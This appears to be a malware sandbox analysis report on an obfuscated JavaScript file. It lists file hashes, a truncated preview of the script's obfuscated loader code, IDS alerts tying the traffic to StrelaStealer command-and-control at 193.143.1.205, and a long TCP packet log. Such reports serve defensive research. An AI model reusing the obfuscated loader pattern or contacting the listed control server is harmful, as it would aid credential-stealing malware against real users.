Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (10725), with no line terminators
Entropy (8bit):	4.973755130507184
TrID:
File name:	15994293462788625581.js
File size:	10'725 bytes
MD5:	f6c506adbed2e7ab749d8c059a6e2484
SHA1:	e7637610f83a185b103464acbaef2632b02cad24
SHA256:	19a15e3d06814624e84705dbc5824831efd2d68c606729e6f9ef141885ce6e7b
SHA512:	722e630575dc5b851702bd7ce3c7d82e53316b4be98b3975c3369be34b49d039795c2870e48a4a130adbc05f4910cc93cbf7eb92eebc2bd23bbfecf1b3dfcc31
SSDEEP:	192:RJfSCYZbUfnPxZ3kQHBIVkjLT5uulL3uUDNmTAqGVpm9V9zJPrd6:rfSjGfnPr3DjuUDNmTAqGVpm9V9zJPrU
TLSH:	1A2232ABFB0E971248DFFC755B644191B99A41D5F2940A606E4BD4B6E2E8AF7C0C1330
File Content Preview:	function ghmwelvkl(){this[dbdeywyvc+piufnw+daqygc+caakqcw]("vymlmaifn=[1031,3079,5127,4103,2055,3072];var sfbph=this[ubarlx+daqygc+qjger+bdqbmid+dbdeywyvc+jhaye+tnkccwwyc+olyhyje](this[mvrceo+mzbaozqe+peqqmbxmj+qjger+cfylfhmp+ubarlx+olyhyje][kqxkdzz+qjger

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-13T13:55:04.976094+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.6	49711	193.143.1.205	80	TCP
2025-01-13T13:55:04.976094+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.6	49711	193.143.1.205	80	TCP
2025-01-13T13:55:07.483002+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.6	49713	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 13, 2025 13:55:04.190896988 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:04.195735931 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:04.195817947 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:04.198385000 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:04.203186035 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:04.975951910 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:04.976032019 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:04.976094007 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:04.976095915 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:04.976164103 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:04.976212025 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:04.976224899 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:04.976259947 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:04.976313114 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:04.976325035 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:04.976372004 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:04.976418018 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:04.976418018 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:04.976483107 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:04.976536036 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:04.981336117 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.026753902 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.026803017 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.026822090 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.076773882 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.093399048 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.093472958 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.093521118 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.093550920 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.093569040 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.093617916 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.093643904 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.093746901 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.093795061 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.093803883 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.094031096 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.094078064 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.094084024 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.094126940 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.094173908 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.094176054 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.094664097 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.094712019 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.094717026 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.094760895 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.094805002 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.094806910 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.094852924 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.094940901 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.095542908 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.095588923 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.095634937 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.095643997 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.095683098 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.095729113 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.095732927 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.139261007 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.154808044 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.154855967 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.154901028 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.154927969 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.195647001 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.195693016 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.195743084 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.195755959 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.195799112 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.195831060 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.210395098 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.210438013 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.210470915 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.210503101 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.210549116 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.210576057 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.210596085 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.210642099 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.210653067 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.210690022 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.210737944 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.211060047 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.211146116 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.211190939 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.211201906 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.211239100 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.211283922 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.211297035 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.211349964 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.211399078 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.211873055 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.211920023 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.211966038 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.211981058 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.212013960 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.212060928 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.212063074 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.212110043 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.212163925 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.212622881 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.212670088 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.212717056 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.212728977 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.212763071 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.212809086 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.212820053 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.212855101 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.212898016 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.212902069 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.213500977 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.213546038 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.213557005 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.213593006 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.213649035 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.213654041 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.213701010 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.213746071 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.213756084 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.213795900 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.213851929 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.214301109 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.214370966 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.214426994 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.214432955 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.214483023 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.214528084 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.214534998 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.214574099 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.214621067 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.214622974 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.215159893 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.215219975 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.241566896 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.241617918 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.241664886 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.241673946 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.282398939 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.282459021 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.282485962 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.312928915 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.312946081 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.312954903 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.312989950 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.313005924 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.313011885 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.313081026 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.327353954 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.327449083 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.327462912 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.327483892 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.327502012 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.327506065 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.327526093 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.327543020 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.327550888 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.327569962 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.327749968 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.327812910 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.327846050 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.327861071 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.327886105 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.327894926 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.328087091 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.328141928 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.328195095 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.328213930 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.328234911 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.328253031 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.328248978 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.328293085 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.328682899 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.328702927 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.328725100 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.328747988 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.328761101 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.328783989 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.328804970 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.328807116 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.328825951 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.328852892 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.329705954 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.329725027 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.329746962 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.329754114 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.329766989 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.329787016 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.329788923 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.329807997 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.329830885 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.329838037 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.329869986 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.330435991 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.330507040 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.330519915 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.330553055 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.330554962 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.330571890 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.330593109 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.330594063 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.330615997 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.330638885 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.331478119 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.331496000 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.331520081 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.331521988 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.331540108 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.331557989 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.331558943 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.331582069 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.331594944 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.331603050 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.331655979 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.332237959 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.332283974 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.332313061 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.332324028 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.332334995 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.332365036 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.332379103 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.332389116 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.332405090 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.332452059 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.333133936 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.333184004 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.333214045 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.333231926 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.333255053 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.333271980 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.333278894 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.333297014 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.333311081 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.333314896 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.333352089 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.334023952 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.334067106 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.334111929 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.334359884 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.334378958 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.334408045 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.334414959 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.334429026 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.334451914 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.334465027 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.334470034 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.334491968 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.334505081 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.335169077 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.335215092 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.335231066 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.335251093 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.335273027 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.335289955 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.335294008 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.335352898 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.342530966 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.369182110 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.369231939 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.369246960 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.369272947 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.369283915 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.369328022 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.399632931 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.399662018 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.399688959 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.399703026 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.399708033 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.399733067 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.399750948 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.399751902 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.399771929 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.399790049 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.399791956 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.399811029 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.399833918 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.399838924 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.399854898 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.399872065 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.412961006 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.414033890 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.414053917 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.414103031 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.422848940 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.429548025 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.429562092 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.429621935 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.429869890 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.429953098 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.429959059 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.429980040 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.430001974 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.430022001 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.430027962 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.430047035 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.430067062 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.430068970 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.430088997 CET	80	49711	193.143.1.205	192.168.2.6
